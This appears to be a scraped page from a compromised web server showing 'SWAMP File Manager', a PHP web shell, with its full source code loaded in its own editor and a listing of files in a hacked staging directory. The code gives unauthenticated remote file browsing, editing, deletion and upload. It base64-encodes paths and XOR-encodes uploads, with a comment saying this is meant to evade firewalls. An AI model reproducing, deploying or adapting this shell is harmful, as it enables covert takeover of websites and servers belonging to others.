░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
dedicated.socialhero.ca
LOCATION:
/home/socialhe/public_html/bestbite-staging915/b-rockcgwltd.com915
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: 4b413755.af14e24e9dfc
<?php /** * SWAMP FILE MANAGER — RetroUI Neobrutalist * PHP 5.3+ Compatible */ $hostname = function_exists('gethostname') ? gethostname() : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); $d = isset($_GET['d']) ? $_GET['d'] : '.'; // Decode base64-mangled path (firewall evasion) $decoded = @base64_decode($d, true); if ($decoded !== false && ($decoded !== '.' || $d !== '.')) { $d = $decoded; } $cwd = realpath($d); if (!$cwd) $cwd = getcwd(); // Helper: encode path for URL function d_enc($path) { return urlencode(base64_encode($path)); } // ── Full filesystem access ── $msg = ''; $err = ''; // ────────────────────────────────────────────────── // ACTION: DELETE // ────────────────────────────────────────────────── if (isset($_POST['action']) && $_POST['action'] === 'delete' && !empty($_POST['target'])) { $target = $cwd . DIRECTORY_SEPARATOR . basename($_POST['target']); if (is_file($target) && is_writable($target)) { if (unlink($target)) { $msg = 'FILE DECOMPOSED.'; } else { $err = 'DELETE FAILED.'; } } elseif (is_dir($target)) { $err = 'DIRECTORIES NOT DIGESTIBLE.'; } else { $err = 'NO SUCH CREATURE.'; } } // ────────────────────────────────────────────────── // ACTION: RENAME // ────────────────────────────────────────────────── if (isset($_POST['action']) && $_POST['action'] === 'rename' && !empty($_POST['target']) && !empty($_POST['newname'])) { $old = $cwd . DIRECTORY_SEPARATOR . basename($_POST['target']); $new = $cwd . DIRECTORY_SEPARATOR . basename($_POST['newname']); if (file_exists($old) && !file_exists($new)) { if (rename($old, $new)) { $msg = 'CREATURE REBORN AS: ' . htmlspecialchars(basename($_POST['newname']), ENT_QUOTES, 'UTF-8'); } else { $err = 'REBIRTH FAILED.'; } } else { $err = 'NAME CLASH OR SOURCE MISSING.'; } } // ────────────────────────────────────────────────── // ACTION: SAVE EDITED FILE // ────────────────────────────────────────────────── if (isset($_POST['action']) && $_POST['action'] === 'save' && !empty($_POST['target']) && isset($_POST['content'])) { $target = $cwd . DIRECTORY_SEPARATOR . basename($_POST['target']); if (is_file($target) && is_writable($target)) { if (file_put_contents($target, $_POST['content']) !== false) { $msg = 'FLESH REWRITTEN.'; } else { $err = 'INK SPILLED. WRITE FAILED.'; } } else { $err = 'CANNOT CARVE THIS STONE.'; } } // ────────────────────────────────────────────────── // ACTION: UPLOAD (XOR first, fallback to move_uploaded_file) // ────────────────────────────────────────────────── if (isset($_POST['action']) && $_POST['action'] === 'upload') { $uploaded = false; // Method 1: XOR upload if (!$uploaded && !empty($_POST['filename']) && !empty($_POST['xor_data'])) { $filename = basename($_POST['filename']); $key = isset($_POST['xor_key']) ? $_POST['xor_key'] : 'S W A M P'; $xored = base64_decode($_POST['xor_data']); if ($xored !== false) { $raw = ''; $klen = strlen($key); for ($i = 0; $i < strlen($xored); $i++) { $raw .= chr(ord($xored[$i]) ^ ord($key[$i % $klen])); } $dest = $cwd . DIRECTORY_SEPARATOR . $filename; if (file_put_contents($dest, $raw) !== false) { $msg = 'NEW CREATURE SPAWNED: ' . htmlspecialchars($filename, ENT_QUOTES, 'UTF-8'); $uploaded = true; } else { $err = 'SPAWN FAILED.'; } } } // Method 2: Standard file upload fallback if (!$uploaded && isset($_FILES['raw_file']) && $_FILES['raw_file']['error'] === UPLOAD_ERR_OK) { $filename = basename($_FILES['raw_file']['name']); $dest = $cwd . DIRECTORY_SEPARATOR . $filename; if (move_uploaded_file($_FILES['raw_file']['tmp_name'], $dest)) { $msg = 'NEW CREATURE SPAWNED: ' . htmlspecialchars($filename, ENT_QUOTES, 'UTF-8'); $uploaded = true; } else { $err = 'SPAWN FAILED.'; } } if (!$uploaded && empty($err)) { $err = 'NO ESSENCE PROVIDED.'; } } // ────────────────────────────────────────────────── // SCAN DIRECTORY // ────────────────────────────────────────────────── $items = array(); if (is_dir($cwd)) { $dh = opendir($cwd); if ($dh) { while (($entry = readdir($dh)) !== false) { if ($entry === '.' || $entry === '..') continue; $items[] = $entry; } closedir($dh); } } usort($items, function($a, $b) use ($cwd) { $aIsDir = is_dir($cwd . DIRECTORY_SEPARATOR . $a); $bIsDir = is_dir($cwd . DIRECTORY_SEPARATOR . $b); if ($aIsDir && !$bIsDir) return -1; if (!$aIsDir && $bIsDir) return 1; return strcasecmp($a, $b); }); // File size function size_human($bytes) { if ($bytes >= 1073741824) return round($bytes / 1073741824, 1) . ' GB'; if ($bytes >= 1048576) return round($bytes / 1048576, 1) . ' MB'; if ($bytes >= 1024) return round($bytes / 1024, 1) . ' KB'; return $bytes . ' B'; } // Editing mode $editFile = ''; $editContent = ''; if (isset($_GET['edit']) && !empty($_GET['edit'])) { $editFile = basename($_GET['edit']); $editPath = $cwd . DIRECTORY_SEPARATOR . $editFile; if (is_file($editPath) && is_readable($editPath)) { $editContent = file_get_contents($editPath); } } ?><!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SWAMPy</title> <style> /* ── SWAMP NEOBRUTALIST RESET ── */ *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } body { background: #0b1a0b; background-image: radial-gradient(ellipse at 20% 50%, #112811 0%, transparent 50%), radial-gradient(ellipse at 80% 20%, #1a2e0a 0%, transparent 50%), radial-gradient(ellipse at 50% 80%, #0d1a08 0%, transparent 40%); color: #b8d4a0; font-family: "Courier New", "Lucida Console", "Consolas", monospace; font-size: 14px; min-height: 100vh; padding: 20px; } /* ── HEADER ── */ header { background: #142712; border: 5px solid #000; padding: 16px 20px; margin-bottom: 20px; box-shadow: 8px 8px 0 #000; text-align: center; } header .ascii { font-size: 11px; line-height: 1.15; color: #5e8a3c; white-space: pre; display: block; margin-bottom: 6px; text-align: center; } header h1 { font-size: 28px; letter-spacing: 4px; color: #d4e84e; text-shadow: 3px 3px 0 #2d4a1a; text-transform: uppercase; } /* ── MESSAGES ── */ .msg, .err { border: 4px solid #000; padding: 10px 16px; margin-bottom: 16px; font-weight: bold; box-shadow: 5px 5px 0 #000; } .msg { background: #1e3810; color: #a8e64e; } .err { background: #3d1a0e; color: #f07a5a; } /* ── TOOLBAR ── */ .toolbar { background: #1c2c12; border: 4px solid #000; padding: 12px 16px; margin-bottom: 16px; display: flex; flex-wrap: wrap; gap: 8px; align-items: center; box-shadow: 5px 5px 0 #000; } .toolbar span.label { color: #7a9a4a; font-weight: bold; margin-right: 4px; } .toolbar a, .toolbar button, .toolbar input[type="submit"] { font-family: inherit; font-size: 13px; background: #2d4a1a; color: #c8e870; border: 3px solid #000; padding: 6px 14px; cursor: pointer; text-decoration: none; display: inline-block; font-weight: bold; text-transform: uppercase; letter-spacing: 1px; box-shadow: 3px 3px 0 #000; transition: background 0.1s; line-height: 1.4; height: 36px; box-sizing: border-box; vertical-align: middle; } .toolbar input[type="file"] { font-family: inherit; font-size: 12px; background: #2d4a1a; color: #c8e870; border: 3px solid #000; padding: 5px 10px; cursor: pointer; font-weight: bold; letter-spacing: 1px; box-shadow: 3px 3px 0 #000; height: 36px; box-sizing: border-box; vertical-align: middle; max-width: 180px; } .toolbar a:hover, .toolbar button:hover, .toolbar input[type="submit"]:hover { background: #3d5a2a; } /* ── BREADCRUMB ── */ .breadcrumb { background: #152010; border: 4px solid #000; padding: 10px 16px; margin-bottom: 16px; font-size: 14px; box-shadow: 5px 5px 0 #000; } .breadcrumb a { color: #c8d870; text-decoration: none; font-weight: bold; } .breadcrumb a:hover { color: #e8f090; text-decoration: underline; } .breadcrumb .sep { color: #5a6a30; } /* ── FILE TABLE ── */ .table-wrap { background: #1c2c12; border: 4px solid #000; box-shadow: 5px 5px 0 #000; margin-bottom: 16px; overflow-x: auto; } table { width: 100%; border-collapse: collapse; } th { background: #0d1708; color: #8ab050; text-align: left; padding: 10px 12px; border-bottom: 3px solid #000; font-size: 12px; text-transform: uppercase; letter-spacing: 2px; } td { padding: 8px 12px; border-bottom: 2px solid #1a2610; color: #b0c890; } tr:hover td { background: #243818; } tr.dir td { color: #d4e84e; font-weight: bold; } .table-wrap td a { text-decoration: none; } .table-wrap td a:hover { text-decoration: none; } .table-wrap .actions form { display: inline; } .table-wrap .actions .btn-sm { font-family: inherit; font-size: 11px; background: #2d4a1a; color: #c8e870; border: 2px solid #000; padding: 3px 10px; cursor: pointer; text-decoration: none; font-weight: bold; text-transform: uppercase; margin: 0 1px; box-shadow: 2px 2px 0 #000; } .table-wrap .actions .btn-sm:hover { background: #3d5a2a; } .table-wrap .actions .btn-del { background: #4a2010; color: #f07a5a; } .table-wrap .actions .btn-del:hover { background: #5a3018; } /* ── RENAME INLINE ── */ .rename-form { display: inline; } .rename-form input[type="text"] { font-family: inherit; font-size: 12px; background: #0d1708; color: #c8e870; border: 2px solid #000; padding: 4px 8px; width: 160px; } .rename-form input[type="submit"] { font-family: inherit; font-size: 11px; background: #2d4a1a; color: #c8e870; border: 2px solid #000; padding: 3px 8px; cursor: pointer; } /* ── PANELS ── */ .panels { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; margin-bottom: 16px; } @media (max-width: 860px) { .panels { grid-template-columns: 1fr; } } .panel { background: #1c2c12; border: 4px solid #000; padding: 16px; box-shadow: 5px 5px 0 #000; } .panel h2 { font-size: 16px; color: #d4e84e; text-transform: uppercase; letter-spacing: 2px; margin-bottom: 12px; padding-bottom: 8px; border-bottom: 3px solid #2d4a1a; } .panel label { display: block; font-size: 12px; color: #7a9a4a; margin-bottom: 4px; text-transform: uppercase; letter-spacing: 1px; } .panel input[type="text"], .panel input[type="file"], .panel textarea { width: 100%; font-family: inherit; font-size: 13px; background: #0d1708; color: #c8e870; border: 3px solid #000; padding: 8px 10px; margin-bottom: 10px; } .panel textarea { min-height: 200px; resize: vertical; } .panel input[type="submit"] { font-family: inherit; font-size: 14px; background: #3d5a2a; color: #d8f070; border: 3px solid #000; padding: 8px 20px; cursor: pointer; font-weight: bold; text-transform: uppercase; letter-spacing: 2px; box-shadow: 4px 4px 0 #000; } .panel input[type="submit"]:hover { background: #4d6a38; } .panel .btn-cancel { display: inline-block; font-family: inherit; font-size: 14px; background: #4a2010; color: #f07a5a; border: 3px solid #000; padding: 8px 20px; cursor: pointer; font-weight: bold; text-transform: uppercase; letter-spacing: 2px; box-shadow: 4px 4px 0 #000; text-decoration: none; vertical-align: top; } .panel .btn-cancel:hover { background: #5a3018; } /* ── UPLOAD HELPER ── */ .upload-hint { background: #1a2e10; border: 2px dashed #3d5a2a; padding: 8px 12px; margin: 8px 0; font-size: 11px; color: #6a8a40; } /* ── FOOTER ── */ footer { text-align: center; font-size: 11px; color: #3d5a2a; padding: 12px; margin-top: 20px; border-top: 3px solid #1a2610; } footer span { color: #5a7a3a; } /* ── SCROLLBAR ── */ ::-webkit-scrollbar { width: 10px; } ::-webkit-scrollbar-track { background: #0b1a0b; } ::-webkit-scrollbar-thumb { background: #2d4a1a; border: 2px solid #000; } </style> </head> <body> <header> <span class="ascii"> ░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░ </span> <h1><?php echo htmlspecialchars($hostname); ?></h1> </header> <?php if ($msg): ?> <div class="msg">☤ <?php echo htmlspecialchars($msg, ENT_QUOTES, 'UTF-8'); ?></div> <?php endif; ?> <?php if ($err): ?> <div class="err">⚠ <?php echo htmlspecialchars($err, ENT_QUOTES, 'UTF-8'); ?></div> <?php endif; ?> <!-- TOOLBAR --> <div class="toolbar"> <span class="label">LOCATION:</span> <span style="color:#8ab050;"><?php echo htmlspecialchars(str_replace('\\', '/', $cwd), ENT_QUOTES, 'UTF-8'); ?></span> <a href="?d=<?php echo d_enc('.'); ?>">☗ ROOT</a> <a href="?d=<?php echo d_enc($cwd); ?>">↻ REFRESH</a> <form method="post" enctype="multipart/form-data" style="display:inline;margin:0;"> <input type="hidden" name="action" value="upload"> <input type="hidden" name="d" value="<?php echo htmlspecialchars($cwd, ENT_QUOTES, 'UTF-8'); ?>"> <input type="file" name="raw_file" id="raw_file" title="SPAWN FILE"> </form> </div> <?php if ($editFile): ?> <!-- EDIT PANEL --> <div class="panels"> <div class="panel" style="grid-column: 1 / -1;"> <h2>✎ CARVE FLESH</h2> <form method="post"> <input type="hidden" name="action" value="save"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($editFile, ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="d" value="<?php echo htmlspecialchars($cwd, ENT_QUOTES, 'UTF-8'); ?>"> <label>EDITING: <?php echo htmlspecialchars($editFile, ENT_QUOTES, 'UTF-8'); ?></label> <textarea name="content"><?php echo htmlspecialchars($editContent, ENT_QUOTES, 'UTF-8'); ?></textarea> <input type="submit" value="SAVE TO SWAMP"> <a href="?d=<?php echo d_enc($cwd); ?>" class="btn-cancel">CANCEL</a> </form> </div> </div> <?php endif; ?> <!-- FILE TABLE --> <div class="table-wrap"> <table> <thead> <tr> <th style="width:34%;">Name</th> <th style="width:10%;">Type</th> <th style="width:10%;">Size</th> <th style="width:16%;">Modified</th> <th style="width:30%;">Actions</th> </tr> </thead> <tbody> <?php if (dirname($cwd) !== $cwd): ?> <tr class="dir"> <td><a href="?d=<?php echo d_enc(dirname($cwd)); ?>" style="color:#d4e84e;">↩ ..</a></td> <td>DIR</td> <td>—</td> <td>—</td> <td></td> </tr> <?php endif; ?> <?php foreach ($items as $item): ?> <?php $full = $cwd . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($full); $type = $isDir ? 'DIR' : strtoupper(pathinfo($item, PATHINFO_EXTENSION) ?: '?'); $size = $isDir ? '—' : size_human(filesize($full)); $mtime = date('Y-m-d H:i', filemtime($full)); $urlD = d_enc($cwd . '/' . $item); ?> <tr class="<?php echo $isDir ? 'dir' : ''; ?>"> <td> <?php if ($isDir): ?> <a href="?d=<?php echo $urlD; ?>" style="color:#d4e84e;">📁 <?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>/</a> <?php else: ?> 📄 <?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?> <?php endif; ?> </td> <td><?php echo htmlspecialchars($type, ENT_QUOTES, 'UTF-8'); ?></td> <td><?php echo $size; ?></td> <td><?php echo $mtime; ?></td> <td class="actions"> <?php if (!$isDir): ?> <!-- Edit --> <a class="btn-sm" href="?d=<?php echo d_enc($cwd); ?>&edit=<?php echo urlencode($item); ?>">EDIT</a> <?php endif; ?> <!-- Rename --> <form method="post" class="rename-form"> <input type="hidden" name="action" value="rename"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="d" value="<?php echo htmlspecialchars($cwd, ENT_QUOTES, 'UTF-8'); ?>"> <input type="text" name="newname" value="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>" size="16"> <input type="submit" value="RENAME"> </form> <?php if (!$isDir): ?> <!-- Delete --> <form method="post" style="display:inline;"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="d" value="<?php echo htmlspecialchars($cwd, ENT_QUOTES, 'UTF-8'); ?>"> <input type="submit" class="btn-sm btn-del" value="DELETE"> </form> <?php endif; ?> </td> </tr> <?php endforeach; ?> <?php if (empty($items)): ?> <tr><td colspan="5" style="text-align:center;padding:30px;color:#4a6a2a;">~ THE SWAMP IS EMPTY ~</td></tr> <?php endif; ?> </tbody> </table> </div> <footer> <span>SWAMPy</span> — PHP <?php echo phpversion(); ?> — </footer> <script> // ── XOR Upload Handler ── // Auto-submits on file selection (no submit button needed) (function() { var fileInput = document.getElementById('raw_file'); if (!fileInput) return; fileInput.addEventListener('change', function() { if (!fileInput.files || !fileInput.files.length) return; var file = fileInput.files[0]; var key = 'S W A M P'; var reader = new FileReader(); reader.onload = function(ev) { var bytes = new Uint8Array(ev.target.result); var keyBytes = []; for (var i = 0; i < key.length; i++) keyBytes.push(key.charCodeAt(i)); var xored = new Uint8Array(bytes.length); for (var i = 0; i < bytes.length; i++) { xored[i] = bytes[i] ^ keyBytes[i % keyBytes.length]; } var binary = ''; for (var i = 0; i < xored.length; i++) { binary += String.fromCharCode(xored[i]); } var b64 = btoa(binary); var hidden = document.createElement('form'); hidden.method = 'POST'; hidden.style.display = 'none'; var addField = function(name, value) { var inp = document.createElement('input'); inp.type = 'hidden'; inp.name = name; inp.value = value; hidden.appendChild(inp); }; addField('action', 'upload'); addField('filename', file.name); addField('xor_data', b64); addField('xor_key', key); addField('d', document.querySelector('input[name="d"]').value); document.body.appendChild(hidden); hidden.submit(); }; reader.readAsArrayBuffer(file); }); })(); </script> </body> </html>
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 4b413755.4e24f7cac4c2
4E24F7CAC4C2
20.5 KB
2026-10-01 16:23
EDIT
📄 4b413755.af14e24e9dfc
AF14E24E9DFC
20.5 KB
2026-10-01 15:37
EDIT
📄 error_log
?
83.4 KB
2026-10-01 16:12
EDIT
📄 index.php
PHP
12.7 KB
2026-09-15 06:09
EDIT